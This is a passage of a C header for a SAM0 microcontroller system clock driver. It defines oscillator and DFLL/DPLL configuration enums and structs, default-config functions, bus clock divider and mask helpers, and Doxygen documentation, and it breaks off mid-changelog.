#if (SAMD21) || (SAMR21) || (SAMD11) || (SAMD10) || (SAMDA1) || (SAMHA1) || defined(__DOXYGEN__)
/** Digital Phase Locked Loop (DPLL) feature support. */
# define FEATURE_SYSTEM_CLOCK_DPLL
#endif
/*@}*/
/**
* \brief Available start-up times for the XOSC32K.
*
* Available external 32KHz oscillator start-up times, as a number of external
* clock cycles.
*/
enum system_xosc32k_startup {
/** Wait zero clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_0,
/** Wait 32 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_32,
/** Wait 2048 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_2048,
/** Wait 4096 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_4096,
/** Wait 16384 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_16384,
/** Wait 32768 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_32768,
/** Wait 65536 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_65536,
/** Wait 131072 clock cycles until the clock source is considered stable */
SYSTEM_XOSC32K_STARTUP_131072,
};
/**
* \brief Available start-up times for the XOSC.
*
* Available external oscillator start-up times, as a number of external clock
* cycles.
*/
enum system_xosc_startup {
/** Wait one clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_1,
/** Wait two clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_2,
/** Wait four clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_4,
/** Wait eight clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_8,
/** Wait 16 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_16,
/** Wait 32 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_32,
/** Wait 64 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_64,
/** Wait 128 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_128,
/** Wait 256 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_256,
/** Wait 512 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_512,
/** Wait 1024 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_1024,
/** Wait 2048 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_2048,
/** Wait 4096 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_4096,
/** Wait 8192 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_8192,
/** Wait 16384 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_16384,
/** Wait 32768 clock cycles until the clock source is considered stable */
SYSTEM_XOSC_STARTUP_32768,
};
/**
* \brief Available start-up times for the OSC32K.
*
* Available internal 32KHz oscillator start-up times, as a number of internal
* OSC32K clock cycles.
*/
enum system_osc32k_startup {
/** Wait three clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_3,
/** Wait four clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_4,
/** Wait six clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_6,
/** Wait ten clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_10,
/** Wait 18 clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_18,
/** Wait 34 clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_34,
/** Wait 66 clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_66,
/** Wait 130 clock cycles until the clock source is considered stable */
SYSTEM_OSC32K_STARTUP_130,
};
/**
* \brief Division prescalers for the internal 8MHz system clock.
*
* Available prescalers for the internal 8MHz (nominal) system clock.
*/
enum system_osc8m_div {
/** Do not divide the 8MHz RC oscillator output */
SYSTEM_OSC8M_DIV_1,
/** Divide the 8MHz RC oscillator output by two */
SYSTEM_OSC8M_DIV_2,
/** Divide the 8MHz RC oscillator output by four */
SYSTEM_OSC8M_DIV_4,
/** Divide the 8MHz RC oscillator output by eight */
SYSTEM_OSC8M_DIV_8,
};
/**
* \brief Frequency range for the internal 8MHz RC oscillator.
*
* Internal 8MHz RC oscillator frequency range setting.
*/
enum system_osc8m_frequency_range {
/** Frequency range 4MHz to 6MHz */
SYSTEM_OSC8M_FREQUENCY_RANGE_4_TO_6,
/** Frequency range 6MHz to 8MHz */
SYSTEM_OSC8M_FREQUENCY_RANGE_6_TO_8,
/** Frequency range 8MHz to 11MHz */
SYSTEM_OSC8M_FREQUENCY_RANGE_8_TO_11,
/** Frequency range 11MHz to 15MHz */
SYSTEM_OSC8M_FREQUENCY_RANGE_11_TO_15,
};
/**
* \brief Main CPU and APB/AHB bus clock source prescaler values.
*
* Available division ratios for the CPU and APB/AHB bus clocks.
*/
enum system_main_clock_div {
/** Divide Main clock by one */
SYSTEM_MAIN_CLOCK_DIV_1,
/** Divide Main clock by two */
SYSTEM_MAIN_CLOCK_DIV_2,
/** Divide Main clock by four */
SYSTEM_MAIN_CLOCK_DIV_4,
/** Divide Main clock by eight */
SYSTEM_MAIN_CLOCK_DIV_8,
/** Divide Main clock by 16 */
SYSTEM_MAIN_CLOCK_DIV_16,
/** Divide Main clock by 32 */
SYSTEM_MAIN_CLOCK_DIV_32,
/** Divide Main clock by 64 */
SYSTEM_MAIN_CLOCK_DIV_64,
/** Divide Main clock by 128 */
SYSTEM_MAIN_CLOCK_DIV_128,
};
/**
* \brief External clock source types.
*
* Available external clock source types.
*/
enum system_clock_external {
/** The external clock source is a crystal oscillator */
SYSTEM_CLOCK_EXTERNAL_CRYSTAL,
/** The connected clock source is an external logic level clock signal */
SYSTEM_CLOCK_EXTERNAL_CLOCK,
};
/**
* \brief Operating modes of the DFLL clock source.
*
* Available operating modes of the DFLL clock source module.
*/
enum system_clock_dfll_loop_mode {
/** The DFLL is operating in open loop mode with no feedback */
SYSTEM_CLOCK_DFLL_LOOP_MODE_OPEN,
/** The DFLL is operating in closed loop mode with frequency feedback from
* a low frequency reference clock
*/
SYSTEM_CLOCK_DFLL_LOOP_MODE_CLOSED = SYSCTRL_DFLLCTRL_MODE,
#ifdef SYSCTRL_DFLLCTRL_USBCRM
/** The DFLL is operating in USB recovery mode with frequency feedback
* from USB SOF.
*/
SYSTEM_CLOCK_DFLL_LOOP_MODE_USB_RECOVERY = SYSCTRL_DFLLCTRL_USBCRM,
#endif
};
/**
* \brief Locking behavior for the DFLL during device wake-up.
*
* DFLL lock behavior modes on device wake-up from sleep.
*/
enum system_clock_dfll_wakeup_lock {
/** Keep DFLL lock when the device wakes from sleep */
SYSTEM_CLOCK_DFLL_WAKEUP_LOCK_KEEP,
/** Lose DFLL lock when the devices wakes from sleep */
SYSTEM_CLOCK_DFLL_WAKEUP_LOCK_LOSE = SYSCTRL_DFLLCTRL_LLAW,
};
/**
* \brief Fine tracking behavior for the DFLL once a lock has been acquired.
*
* DFLL fine tracking behavior modes after a lock has been acquired.
*/
enum system_clock_dfll_stable_tracking {
/** Keep tracking after the DFLL has gotten a fine lock */
SYSTEM_CLOCK_DFLL_STABLE_TRACKING_TRACK_AFTER_LOCK,
/** Stop tracking after the DFLL has gotten a fine lock */
SYSTEM_CLOCK_DFLL_STABLE_TRACKING_FIX_AFTER_LOCK = SYSCTRL_DFLLCTRL_STABLE,
};
/**
* \brief Chill-cycle behavior of the DFLL module.
*
* DFLL chill-cycle behavior modes of the DFLL module. A chill cycle is a period
* of time when the DFLL output frequency is not measured by the unit, to allow
* the output to stabilize after a change in the input clock source.
*/
enum system_clock_dfll_chill_cycle {
/** Enable a chill cycle, where the DFLL output frequency is not measured */
SYSTEM_CLOCK_DFLL_CHILL_CYCLE_ENABLE,
/** Disable a chill cycle, where the DFLL output frequency is not measured */
SYSTEM_CLOCK_DFLL_CHILL_CYCLE_DISABLE = SYSCTRL_DFLLCTRL_CCDIS,
};
/**
* \brief QuickLock settings for the DFLL module.
*
* DFLL QuickLock settings for the DFLL module, to allow for a faster lock of
* the DFLL output frequency at the expense of accuracy.
*/
enum system_clock_dfll_quick_lock {
/** Enable the QuickLock feature for looser lock requirements on the DFLL */
SYSTEM_CLOCK_DFLL_QUICK_LOCK_ENABLE,
/** Disable the QuickLock feature for strict lock requirements on the DFLL */
SYSTEM_CLOCK_DFLL_QUICK_LOCK_DISABLE = SYSCTRL_DFLLCTRL_QLDIS,
};
/**
* \brief Available clock sources in the system.
*
* Clock sources available to the GCLK generators.
*/
enum system_clock_source {
/** Internal 8MHz RC oscillator */
SYSTEM_CLOCK_SOURCE_OSC8M = GCLK_SOURCE_OSC8M,
/** Internal 32KHz RC oscillator */
SYSTEM_CLOCK_SOURCE_OSC32K = GCLK_SOURCE_OSC32K,
/** External oscillator */
SYSTEM_CLOCK_SOURCE_XOSC = GCLK_SOURCE_XOSC ,
/** External 32KHz oscillator */
SYSTEM_CLOCK_SOURCE_XOSC32K = GCLK_SOURCE_XOSC32K,
/** Digital Frequency Locked Loop (DFLL) */
SYSTEM_CLOCK_SOURCE_DFLL = GCLK_SOURCE_DFLL48M,
/** Internal Ultra Low Power 32KHz oscillator */
SYSTEM_CLOCK_SOURCE_ULP32K = GCLK_SOURCE_OSCULP32K,
/** Generator input pad */
SYSTEM_CLOCK_SOURCE_GCLKIN = GCLK_SOURCE_GCLKIN,
/** Generic clock generator one output */
SYSTEM_CLOCK_SOURCE_GCLKGEN1 = GCLK_SOURCE_GCLKGEN1,
#ifdef FEATURE_SYSTEM_CLOCK_DPLL
/** Digital Phase Locked Loop (DPLL).
* Check \c FEATURE_SYSTEM_CLOCK_DPLL for which device support it.
*/
SYSTEM_CLOCK_SOURCE_DPLL = GCLK_SOURCE_FDPLL,
#endif
};
/**
* \brief List of APB peripheral buses.
*
* Available bus clock domains on the APB bus.
*/
enum system_clock_apb_bus {
/** Peripheral bus A on the APB bus */
SYSTEM_CLOCK_APB_APBA,
/** Peripheral bus B on the APB bus */
SYSTEM_CLOCK_APB_APBB,
/** Peripheral bus C on the APB bus */
SYSTEM_CLOCK_APB_APBC,
};
/**
* \brief Configuration structure for XOSC.
*
* External oscillator clock configuration structure.
*/
struct system_clock_source_xosc_config {
/** External clock type */
enum system_clock_external external_clock;
/** Crystal oscillator start-up time */
enum system_xosc_startup startup_time;
/** Enable automatic amplitude gain control */
bool auto_gain_control;
/** External clock/crystal frequency */
uint32_t frequency;
/** Keep the XOSC enabled in standby sleep mode */
bool run_in_standby;
/** Run On Demand. If this is set the XOSC won't run
* until requested by a peripheral. */
bool on_demand;
};
/**
* \brief Configuration structure for XOSC32K.
*
* External 32KHz oscillator clock configuration structure.
*/
struct system_clock_source_xosc32k_config {
/** External clock type */
enum system_clock_external external_clock;
/** Crystal oscillator start-up time */
enum system_xosc32k_startup startup_time;
/** Enable automatic amplitude control */
bool auto_gain_control;
/** Enable 1KHz output */
bool enable_1khz_output;
/** Enable 32KHz output */
bool enable_32khz_output;
/** External clock/crystal frequency */
uint32_t frequency;
/** Keep the XOSC32K enabled in standby sleep mode */
bool run_in_standby;
/** Run On Demand. If this is set the XOSC32K won't run
* until requested by a peripheral. */
bool on_demand;
/** Lock configuration after it has been written,
* a device reset will release the lock */
bool write_once;
};
/**
* \brief Configuration structure for OSC8M.
*
* Internal 8MHz (nominal) oscillator configuration structure.
*/
struct system_clock_source_osc8m_config {
/** Internal 8MHz RC oscillator prescaler */
enum system_osc8m_div prescaler;
/** Keep the OSC8M enabled in standby sleep mode */
bool run_in_standby;
/** Run On Demand. If this is set the OSC8M won't run
* until requested by a peripheral. */
bool on_demand;
};
/**
* \brief Configuration structure for OSC32K.
*
* Internal 32KHz (nominal) oscillator configuration structure.
*/
struct system_clock_source_osc32k_config {
/** Startup time */
enum system_osc32k_startup startup_time;
/** Enable 1KHz output */
bool enable_1khz_output;
/** Enable 32KHz output */
bool enable_32khz_output;
/** Keep the OSC32K enabled in standby sleep mode */
bool run_in_standby;
/** Run On Demand. If this is set the OSC32K won't run
* until requested by a peripheral */
bool on_demand;
/** Lock configuration after it has been written,
* a device reset will release the lock */
bool write_once;
};
/**
* \brief Configuration structure for DFLL.
*
* DFLL oscillator configuration structure.
*/
struct system_clock_source_dfll_config {
/** Loop mode */
enum system_clock_dfll_loop_mode loop_mode;
/** Run On Demand. If this is set the DFLL won't run
* until requested by a peripheral. */
bool on_demand;
/** Enable Quick Lock */
enum system_clock_dfll_quick_lock quick_lock;
/** Enable Chill Cycle */
enum system_clock_dfll_chill_cycle chill_cycle;
/** DFLL lock state on wakeup */
enum system_clock_dfll_wakeup_lock wakeup_lock;
/** DFLL tracking after fine lock */
enum system_clock_dfll_stable_tracking stable_tracking;
/** Coarse calibration value (Open loop mode) */
uint8_t coarse_value;
/** Fine calibration value (Open loop mode) */
uint16_t fine_value;
/** Coarse adjustment maximum step size (Closed loop mode) */
uint8_t coarse_max_step;
/** Fine adjustment maximum step size (Closed loop mode) */
uint16_t fine_max_step;
/** DFLL multiply factor (Closed loop mode */
uint16_t multiply_factor;
};
/**
* \name External Oscillator Management
* @{
*/
/**
* \brief Retrieve the default configuration for XOSC.
*
* Fills a configuration structure with the default configuration for an
* external oscillator module:
* - External Crystal
* - Start-up time of 16384 external clock cycles
* - Automatic crystal gain control mode enabled
* - Frequency of 12MHz
* - Don't run in STANDBY sleep mode
* - Run only when requested by peripheral (on demand)
*
* \param[out] config Configuration structure to fill with default values
*/
static inline void system_clock_source_xosc_get_config_defaults(
struct system_clock_source_xosc_config *const config)
{
Assert(config);
config->external_clock = SYSTEM_CLOCK_EXTERNAL_CRYSTAL;
config->startup_time = SYSTEM_XOSC_STARTUP_16384;
config->auto_gain_control = true;
config->frequency = 12000000UL;
config->run_in_standby = false;
config->on_demand = true;
}
void system_clock_source_xosc_set_config(
struct system_clock_source_xosc_config *const config);
/**
* @}
*/
/**
* \name External 32KHz Oscillator Management
* @{
*/
/**
* \brief Retrieve the default configuration for XOSC32K.
*
* Fills a configuration structure with the default configuration for an
* external 32KHz oscillator module:
* - External Crystal
* - Start-up time of 16384 external clock cycles
* - Automatic crystal gain control mode disabled
* - Frequency of 32.768KHz
* - 1KHz clock output disabled
* - 32KHz clock output enabled
* - Don't run in STANDBY sleep mode
* - Run only when requested by peripheral (on demand)
* - Don't lock registers after configuration has been written
*
* \param[out] config Configuration structure to fill with default values
*/
static inline void system_clock_source_xosc32k_get_config_defaults(
struct system_clock_source_xosc32k_config *const config)
{
Assert(config);
config->external_clock = SYSTEM_CLOCK_EXTERNAL_CRYSTAL;
config->startup_time = SYSTEM_XOSC32K_STARTUP_16384;
config->auto_gain_control = false;
config->frequency = 32768UL;
config->enable_1khz_output = false;
config->enable_32khz_output = true;
config->run_in_standby = false;
config->on_demand = true;
config->write_once = false;
}
void system_clock_source_xosc32k_set_config(
struct system_clock_source_xosc32k_config *const config);
/**
* @}
*/
/**
* \name Internal 32KHz Oscillator Management
* @{
*/
/**
* \brief Retrieve the default configuration for OSC32K.
*
* Fills a configuration structure with the default configuration for an
* internal 32KHz oscillator module:
* - 1KHz clock output enabled
* - 32KHz clock output enabled
* - Don't run in STANDBY sleep mode
* - Run only when requested by peripheral (on demand)
* - Set startup time to 130 cycles
* - Don't lock registers after configuration has been written
*
* \param[out] config Configuration structure to fill with default values
*/
static inline void system_clock_source_osc32k_get_config_defaults(
struct system_clock_source_osc32k_config *const config)
{
Assert(config);
config->enable_1khz_output = true;
config->enable_32khz_output = true;
config->run_in_standby = false;
config->on_demand = true;
config->startup_time = SYSTEM_OSC32K_STARTUP_130;
config->write_once = false;
}
void system_clock_source_osc32k_set_config(
struct system_clock_source_osc32k_config *const config);
/**
* @}
*/
/**
* \name Internal 8MHz Oscillator Management
* @{
*/
/**
* \brief Retrieve the default configuration for OSC8M.
*
* Fills a configuration structure with the default configuration for an
* internal 8MHz (nominal) oscillator module:
* - Clock output frequency divided by a factor of eight
* - Don't run in STANDBY sleep mode
* - Run only when requested by peripheral (on demand)
*
* \param[out] config Configuration structure to fill with default values
*/
static inline void system_clock_source_osc8m_get_config_defaults(
struct system_clock_source_osc8m_config *const config)
{
Assert(config);
config->prescaler = SYSTEM_OSC8M_DIV_8;
config->run_in_standby = false;
config->on_demand = true;
}
void system_clock_source_osc8m_set_config(
struct system_clock_source_osc8m_config *const config);
/**
* @}
*/
/**
* \name Internal DFLL Management
* @{
*/
/**
* \brief Retrieve the default configuration for DFLL.
*
* Fills a configuration structure with the default configuration for a
* DFLL oscillator module:
* - Open loop mode
* - QuickLock mode enabled
* - Chill cycle enabled
* - Output frequency lock maintained during device wake-up
* - Continuous tracking of the output frequency
* - Default tracking values at the mid-points for both coarse and fine
* tracking parameters
* - Don't run in STANDBY sleep mode
* - Run only when requested by peripheral (on demand)
*
* \param[out] config Configuration structure to fill with default values
*/
static inline void system_clock_source_dfll_get_config_defaults(
struct system_clock_source_dfll_config *const config)
{
Assert(config);
config->loop_mode = SYSTEM_CLOCK_DFLL_LOOP_MODE_OPEN;
config->quick_lock = SYSTEM_CLOCK_DFLL_QUICK_LOCK_ENABLE;
config->chill_cycle = SYSTEM_CLOCK_DFLL_CHILL_CYCLE_ENABLE;
config->wakeup_lock = SYSTEM_CLOCK_DFLL_WAKEUP_LOCK_KEEP;
config->stable_tracking = SYSTEM_CLOCK_DFLL_STABLE_TRACKING_TRACK_AFTER_LOCK;
config->on_demand = true;
/* Open loop mode calibration value */
config->coarse_value = 0x1f / 4; /* Midpoint */
config->fine_value = 0xff / 4; /* Midpoint */
/* Closed loop mode */
config->coarse_max_step = 1;
config->fine_max_step = 1;
config->multiply_factor = 6; /* Multiply 8MHz by 6 to get 48MHz */
}
void system_clock_source_dfll_set_config(
struct system_clock_source_dfll_config *const config);
/**
* @}
*/
/**
* \name Clock Source Management
* @{
*/
enum status_code system_clock_source_write_calibration(
const enum system_clock_source system_clock_source,
const uint16_t calibration_value,
const uint8_t freq_range);
enum status_code system_clock_source_enable(
const enum system_clock_source system_clock_source);
enum status_code system_clock_source_disable(
const enum system_clock_source clk_source);
bool system_clock_source_is_ready(
const enum system_clock_source clk_source);
uint32_t system_clock_source_get_hz(
const enum system_clock_source clk_source);
/**
* @}
*/
/**
* \name Main Clock Management
* @{
*/
/**
* \brief Set main CPU clock divider.
*
* Sets the clock divider used on the main clock to provide the CPU clock.
*
* \param[in] divider CPU clock divider to set
*/
static inline void system_cpu_clock_set_divider(
const enum system_main_clock_div divider)
{
Assert(((uint32_t)divider & PM_CPUSEL_CPUDIV_Msk) == divider);
PM->CPUSEL.reg = (uint32_t)divider;
}
/**
* \brief Retrieves the current frequency of the CPU core.
*
* Retrieves the operating frequency of the CPU core, obtained from the main
* generic clock and the set CPU bus divider.
*
* \return Current CPU frequency in Hz.
*/
static inline uint32_t system_cpu_clock_get_hz(void)
{
return (system_gclk_gen_get_hz(GCLK_GENERATOR_0) >> PM->CPUSEL.reg);
}
/**
* \brief Set APBx clock divider.
*
* Set the clock divider used on the main clock to provide the clock for the
* given APBx bus.
*
* \param[in] divider APBx bus divider to set
* \param[in] bus APBx bus to set divider
*
* \returns Status of the clock division change operation.
*
* \retval STATUS_ERR_INVALID_ARG Invalid bus ID was given
* \retval STATUS_OK The APBx clock was set successfully
*/
static inline enum status_code system_apb_clock_set_divider(
const enum system_clock_apb_bus bus,
const enum system_main_clock_div divider)
{
switch (bus) {
case SYSTEM_CLOCK_APB_APBA:
PM->APBASEL.reg = (uint32_t)divider;
break;
case SYSTEM_CLOCK_APB_APBB:
PM->APBBSEL.reg = (uint32_t)divider;
break;
case SYSTEM_CLOCK_APB_APBC:
PM->APBCSEL.reg = (uint32_t)divider;
break;
default:
Assert(false);
return STATUS_ERR_INVALID_ARG;
}
return STATUS_OK;
}
/**
* \brief Retrieves the current frequency of a ABPx.
*
* Retrieves the operating frequency of an APBx bus, obtained from the main
* generic clock and the set APBx bus divider.
*
* \return Current APBx bus frequency in Hz.
*/
static inline uint32_t system_apb_clock_get_hz(
const enum system_clock_apb_bus bus)
{
uint16_t bus_divider = 0;
switch (bus) {
case SYSTEM_CLOCK_APB_APBA:
bus_divider = PM->APBASEL.reg;
break;
case SYSTEM_CLOCK_APB_APBB:
bus_divider = PM->APBBSEL.reg;
break;
case SYSTEM_CLOCK_APB_APBC:
bus_divider = PM->APBCSEL.reg;
break;
default:
Assert(false);
return 0;
}
return (system_gclk_gen_get_hz(GCLK_GENERATOR_0) >> bus_divider);
}
/**
* @}
*/
/**
* \name Bus Clock Masking
* @{
*/
/**
* \brief Set bits in the clock mask for the AHB bus.
*
* This function will set bits in the clock mask for the AHB bus.
* Any bits set to 1 will enable that clock, 0 bits in the mask
* will be ignored.
*
* \param[in] ahb_mask AHB clock mask to enable
*/
static inline void system_ahb_clock_set_mask(
const uint32_t ahb_mask)
{
PM->AHBMASK.reg |= ahb_mask;
}
/**
* \brief Clear bits in the clock mask for the AHB bus.
*
* This function will clear bits in the clock mask for the AHB bus.
* Any bits set to 1 will disable that clock, 0 bits in the mask
* will be ignored.
*
* \param[in] ahb_mask AHB clock mask to disable
*/
static inline void system_ahb_clock_clear_mask(
const uint32_t ahb_mask)
{
PM->AHBMASK.reg &= ~ahb_mask;
}
/**
* \brief Set bits in the clock mask for an APBx bus.
*
* This function will set bits in the clock mask for an APBx bus.
* Any bits set to 1 will enable the corresponding module clock, zero bits in
* the mask will be ignored.
*
* \param[in] mask APBx clock mask, a \c SYSTEM_CLOCK_APB_APBx constant from
* the device header files
* \param[in] bus Bus to set clock mask bits for, a mask of \c PM_APBxMASK_*
* constants from the device header files
*
* \returns Status indicating the result of the clock mask change operation.
*
* \retval STATUS_ERR_INVALID_ARG Invalid bus given
* \retval STATUS_OK The clock mask was set successfully
*/
static inline enum status_code system_apb_clock_set_mask(
const enum system_clock_apb_bus bus,
const uint32_t mask)
{
switch (bus) {
case SYSTEM_CLOCK_APB_APBA:
PM->APBAMASK.reg |= mask;
break;
case SYSTEM_CLOCK_APB_APBB:
PM->APBBMASK.reg |= mask;
break;
case SYSTEM_CLOCK_APB_APBC:
PM->APBCMASK.reg |= mask;
break;
default:
Assert(false);
return STATUS_ERR_INVALID_ARG;
}
return STATUS_OK;
}
/**
* \brief Clear bits in the clock mask for an APBx bus.
*
* This function will clear bits in the clock mask for an APBx bus.
* Any bits set to 1 will disable the corresponding module clock, zero bits in
* the mask will be ignored.
*
* \param[in] mask APBx clock mask, a \c SYSTEM_CLOCK_APB_APBx constant from
* the device header files
* \param[in] bus Bus to clear clock mask bits
*
* \returns Status indicating the result of the clock mask change operation.
*
* \retval STATUS_ERR_INVALID_ARG Invalid bus ID was given
* \retval STATUS_OK The clock mask was changed successfully
*/
static inline enum status_code system_apb_clock_clear_mask(
const enum system_clock_apb_bus bus,
const uint32_t mask)
{
switch (bus) {
case SYSTEM_CLOCK_APB_APBA:
PM->APBAMASK.reg &= ~mask;
break;
case SYSTEM_CLOCK_APB_APBB:
PM->APBBMASK.reg &= ~mask;
break;
case SYSTEM_CLOCK_APB_APBC:
PM->APBCMASK.reg &= ~mask;
break;
default:
Assert(false);
return STATUS_ERR_INVALID_ARG;
}
return STATUS_OK;
}
/**
* @}
*/
#ifdef FEATURE_SYSTEM_CLOCK_DPLL
/**
* \brief Reference clock source of the DPLL module.
*/
enum system_clock_source_dpll_reference_clock {
/** Select XOSC32K as clock reference. */
SYSTEM_CLOCK_SOURCE_DPLL_REFERENCE_CLOCK_XOSC32K,
/** Select XOSC as clock reference. */
SYSTEM_CLOCK_SOURCE_DPLL_REFERENCE_CLOCK_XOSC,
/** Select GCLK as clock reference. */
SYSTEM_CLOCK_SOURCE_DPLL_REFERENCE_CLOCK_GCLK,
};
/**
* \brief Lock time-out value of the DPLL module.
*/
enum system_clock_source_dpll_lock_time {
/** Set no time-out as default. */
SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_DEFAULT,
/** Set time-out if no lock within 8ms. */
SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_8MS = 0x04,
/** Set time-out if no lock within 9ms. */
SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_9MS,
/** Set time-out if no lock within 10ms. */
SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_10MS,
/** Set time-out if no lock within 11ms. */
SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_11MS,
};
/**
* \brief Filter type of the DPLL module.
*/
enum system_clock_source_dpll_filter {
/** Default filter mode. */
SYSTEM_CLOCK_SOURCE_DPLL_FILTER_DEFAULT,
/** Low bandwidth filter. */
SYSTEM_CLOCK_SOURCE_DPLL_FILTER_LOW_BANDWIDTH_FILTER,
/** High bandwidth filter. */
SYSTEM_CLOCK_SOURCE_DPLL_FILTER_HIGH_BANDWIDTH_FILTER,
/** High damping filter. */
SYSTEM_CLOCK_SOURCE_DPLL_FILTER_HIGH_DAMPING_FILTER,
};
/**
* \brief Configuration structure for DPLL.
*
* DPLL oscillator configuration structure.
*/
struct system_clock_source_dpll_config {
/** Run On Demand. If this is set the DPLL won't run
* until requested by a peripheral. */
bool on_demand;
/** Keep the DPLL enabled in standby sleep mode. */
bool run_in_standby;
/** Bypass lock signal. */
bool lock_bypass;
/** Wake up fast. If this is set DPLL output clock is enabled after
* the startup time. */
bool wake_up_fast;
/** Enable low power mode. */
bool low_power_enable;
/** Output frequency of the clock. */
uint32_t output_frequency;
/** Reference frequency of the clock. */
uint32_t reference_frequency;
/** Devider of reference clock. */
uint16_t reference_divider;
/** Filter type of the DPLL module. */
enum system_clock_source_dpll_filter filter;
/** Lock time-out value of the DPLL module. */
enum system_clock_source_dpll_lock_time lock_time;
/** Reference clock source of the DPLL module. */
enum system_clock_source_dpll_reference_clock reference_clock;
};
/**
* \name Internal DPLL Management
* @{
*/
/**
* \brief Retrieve the default configuration for DPLL.
*
* Fills a configuration structure with the default configuration for a
* DPLL oscillator module:
* - Run only when requested by peripheral (on demand)
* - Don't run in STANDBY sleep mode
* - Lock bypass disabled
* - Fast wake up disabled
* - Low power mode disabled
* - Output frequency is 48MHz
* - Reference clock frequency is 32768Hz
* - Not divide reference clock
* - Select REF0 as reference clock
* - Set lock time to default mode
* - Use default filter
*
* \param[out] config Configuration structure to fill with default values
*/
static inline void system_clock_source_dpll_get_config_defaults(
struct system_clock_source_dpll_config *const config)
{
config->on_demand = true;
config->run_in_standby = false;
config->lock_bypass = false;
config->wake_up_fast = false;
config->low_power_enable = false;
config->output_frequency = 48000000;
config->reference_frequency = 32768;
config->reference_divider = 1;
config->reference_clock = SYSTEM_CLOCK_SOURCE_DPLL_REFERENCE_CLOCK_XOSC32K;
config->lock_time = SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_DEFAULT;
config->filter = SYSTEM_CLOCK_SOURCE_DPLL_FILTER_DEFAULT;
};
void system_clock_source_dpll_set_config(
struct system_clock_source_dpll_config *const config);
/* @} */
#endif
/**
* \name System Clock Initialization
* @{
*/
void system_clock_init(void);
/**
* @}
*/
/**
* \name System Flash Wait States
* @{
*/
/**
* \brief Set flash controller wait states.
*
* Will set the number of wait states that are used by the onboard
* flash memory. The number of wait states depend on both device
* supply voltage and CPU speed. The required number of wait states
* can be found in the electrical characteristics of the device.
*
* \param[in] wait_states Number of wait states to use for internal flash
*/
static inline void system_flash_set_waitstates(uint8_t wait_states)
{
Assert(NVMCTRL_CTRLB_RWS((uint32_t)wait_states) ==
((uint32_t)wait_states << NVMCTRL_CTRLB_RWS_Pos));
NVMCTRL->CTRLB.bit.RWS = wait_states;
}
/**
* @}
*/
/**
* @}
*/
/**
* \page asfdoc_sam0_system_clock_extra Extra Information for SYSTEM CLOCK Driver
*
* \section asfdoc_sam0_system_clock_extra_acronyms Acronyms
* Below is a table listing the acronyms used in this module, along with their
* intended meanings.
*
* <table>
* <tr>
* <th>Acronym</th>
* <th>Description</th>
* </tr>
* <tr>
* <td>DFLL</td>
* <td>Digital Frequency Locked Loop</td>
* </tr>
* <tr>
* <td>MUX</td>
* <td>Multiplexer</td>
* </tr>
* <tr>
* <td>OSC32K</td>
* <td>Internal 32KHz Oscillator</td>
* </tr>
* <tr>
* <td>OSC8M</td>
* <td>Internal 8MHz Oscillator</td>
* </tr>
* <tr>
* <td>PLL</td>
* <td>Phase Locked Loop</td>
* </tr>
* <tr>
* <td>OSC</td>
* <td>Oscillator</td>
* </tr>
* <tr>
* <td>XOSC</td>
* <td>External Oscillator</td>
* </tr>
* <tr>
* <td>XOSC32K</td>
* <td>External 32KHz Oscillator</td>
* </tr>
* <tr>
* <td>AHB</td>
* <td>Advanced High-performance Bus</td>
* </tr>
* <tr>
* <td>APB</td>
* <td>Advanced Peripheral Bus</td>
* </tr>
* <tr>
* <td>DPLL</td>
* <td>Digital Phase Locked Loop</td>
* </tr>
* </table>
*
*
* \section asfdoc_sam0_system_clock_extra_dependencies Dependencies
* This driver has the following dependencies:
*
* - None
*
*
* \section asfdoc_sam0_system_clock_extra_errata Errata
*
* - This driver implements experimental workaround for errata 9905
*
* "The DFLL clock must be requested before being configured otherwise a
* write access to a DFLL register can freeze the device."
* This driver will enable and configure the DFLL before the ONDEMAND bit is set.
*
*
* \section asfdoc_sam0_system_clock_extra_history Module History
* An overview of the module history is presented in the table below, with
* details on the enhancements and fixes made to the module since its first
* release. The current version of this corresponds to the newest version in
* the table.
*
* <table>
* <tr>
* <th>Changelog</th>
* </tr>
* <tr>
* <td>
* \li Corrected OSC32K startup time definitions
* \li Support locking of OSC32K and XOSC32K config register (default: false)
* \li Added DPLL support, functions added:
* \c system_clock_source_dpll_get_config_defaults() and
* \c system_clock_source_dpll_set_config()
* \li Moved gclk channel locking feature out of the config struct
* functions added:
* \c system_gclk_chan_lock(),
